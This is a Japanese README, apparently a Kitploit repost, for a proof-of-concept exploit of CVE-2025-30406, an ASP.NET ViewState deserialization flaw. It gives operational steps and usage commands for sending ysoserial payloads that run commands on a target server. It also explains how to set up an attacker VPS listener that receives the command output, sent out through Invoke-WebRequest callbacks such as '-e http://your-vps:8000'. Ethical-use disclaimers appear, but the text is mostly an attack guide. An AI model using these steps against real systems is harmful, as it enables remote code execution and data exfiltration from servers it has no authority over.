CVE-2025-30406 ViewState Exploit PoC

概要

これはASP.NETアプリケーションにおけるCVE-2025-30406のViewStateデシリアライゼーション脆弱性を実証するProof-of-Concept (PoC)スクリプトです。ysoserialを使用して悪意のあるViewStateペイロードを生成し、指定されたURLに送信してコマンドを実行します。最良の結果を得るには、コマンド出力をVPS上で動作するカスタムHTTPサーバー(server.py)に外部送信し、タイムスタンプ、緑色のプロンプト、白色の出力テキストで整形された形式で表示します。このスクリプトは教育目的のみを意図しており、明示的な許可を得たシステムでのみ使用してください。無断使用は違法かつ非倫理的です。

CVE詳細

• CVE ID: CVE-2025-30406
• 説明: 有効なvalidation keyとgeneratorが既知の場合にリモートコード実行を可能にする、ASP.NET ViewState処理におけるデシリアライゼーション脆弱性。
• 影響を受けるシステム: 脆弱なViewState設定を持つASP.NETアプリケーション。
• 悪用の前提条件:
  • 有効なViewState validation keyとgeneratorへのアクセス。
  • ViewStateパラメータを受け付ける脆弱なエンドポイント。

リポジトリの内容

• exploit.py: ViewStateペイロードを生成・送信するメインのPoCスクリプト。
• server.py: 外部送信されたコマンド出力を整形形式で受信・表示するHTTPサーバー。
• README.md: このファイル。セットアップと使用方法の説明。

前提条件

• Python 3.x
• requestsライブラリ (pip install requests)
• ysoserial実行可能ファイル(Windowsまたは対応プラットフォーム用)
• 脆弱なASP.NETアプリケーションのエンドポイント
• VPSまたはserver.pyを実行するサーバー(外部送信推奨)
• 対象システムのテスト許可

インストール

1. このリポジトリをクローン:
   root@kitploit:~

   git clone https://github.com/yourusername/cve-2025-30406-poc.git
   cd cve-2025-30406-poc
   

2. 必要なPythonパッケージをインストール:
   root@kitploit:~

   pip install requests
   

3. ysoserialをダウンロードし、exploit.pyと同じディレクトリに配置するか、そのパスを指定:
   • ysoserial GitHub

VPSでのセットアップ(推奨)

外部送信されたコマンド出力を整形形式で受け取るには、VPS上でserver.pyを実行します:

1. server.pyをVPSにコピー(例: scpを使用):
   root@kitploit:~

   scp server.py user@your-vps-ip:/home/user/
   

2. Python 3がインストールされていることを確認:
   root@kitploit:~

   sudo apt update && sudo apt install python3 python3-pip
   

3. サーバーを起動(デフォルトポート8000):
   root@kitploit:~

   python3 server.py
   

4. VPSのファイアウォールでポート8000へのインバウンドトラフィックを許可:
   root@kitploit:~

   sudo ufw allow 8000
   

5. VPSのパブリックIPまたはドメイン(例: http://your-vps-ip:8000)をメモし、exploit.pyの-eフラグで使用します。

使用方法

エクスプロイトの実行

exploit.pyを必須引数とともに実行します。-eフラグはオプションですが、コマンド出力をserver.pyに外部送信して整形表示するために強く推奨されます。

python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]

引数

• -u, --url: ターゲットURL (例: http://target.com/page.aspx) [必須]
• -c, --command: 実行するコマンド (例: whoami) [必須]
• -y, --ysoserial: ysoserial実行可能ファイルへのパス (デフォルト: ./ysoserial.exe) [オプション]
• -e, --exfil: コマンド出力の外部送信先コールバックURL (例: http://your-vps:8000) [オプション]

例

1. 外部送信なしでの実行(ブラインド実行):
   root@kitploit:~

   python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
   

2. server.pyを実行するVPSへの外部送信ありでの実行(推奨):
   root@kitploit:~

   python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
   

サーバーの実行

VPSまたはローカルマシンで、外部送信された出力を受信するHTTPサーバーを起動:

python3 server.py

サーバーはコマンド出力をタイムスタンプ、緑色の$プロンプト、白色のテキストで表示し、可読性を高めます。

仕組み

1. エクスプロイトスクリプト (exploit.py):
   • ハードコードされたvalidation keyとgeneratorを使用してysoserialでViewStateペイロードを生成。
   • -eが指定された場合、コマンドは出力をキャプチャし、Invoke-WebRequestでコールバックURLに送信するようにラップされる。
   • ペイロードをPOSTリクエストでターゲットURLに送信。__VIEWSTATEパラメータに埋め込まれる。
   • サーバーのレスポンスステータスとレスポンスボディの一部を表示。
2. HTTPサーバー (server.py):
   • コマンド出力を含むGETリクエストを待機。
   • URLパスをデコードし、行に分割。
   • 各行をタイムスタンプ、緑色の$プロンプト、白色の出力テキストとともに表示。
   • HTTP 200と“OK”で応答。

倫理的使用の警告

• このスクリプトはCVE-2025-30406のProof-of-Conceptであり、教育および許可されたセキュリティテスト目的のためのものです。
• システム所有者から明示的な許可なしにこのスクリプトを使用しないでください。
• 誤用は、米国のComputer Fraud and Abuse Act (CFAA) または他の地域の類似法に違反する可能性があります。
• システムをテストする前に必ず書面による同意を得てください。
• 脆弱性は協調的な開示やバグ報奨金プログラムを通じて責任を持って報告してください。

制限事項

• ハードコードされたvalidation keyとgeneratorは、特定の脆弱なアプリケーションでのみ機能する可能性があります。ユーザーはアプリケーション固有の値が必要な場合があります。
• このエクスプロイトはViewStateデシリアライゼーションに対して脆弱なASP.NETアプリケーションを対象としています。
• スクリプトはターゲットサーバーがViewStateペイロードを正しく処理することを前提としています。
• クロスプラットフォームの互換性はysoserialの可用性に依存します(主にWindowsベース)。
• 外部送信には-eコールバックURL用の公開アクセス可能なサーバーが必要です。

ライセンス

このプロジェクトはMITライセンスの下でライセンスされています。詳細はLICENSEファイルを参照してください。

連絡先

質問やフィードバックがある場合は、このリポジトリでIssueを開いてください。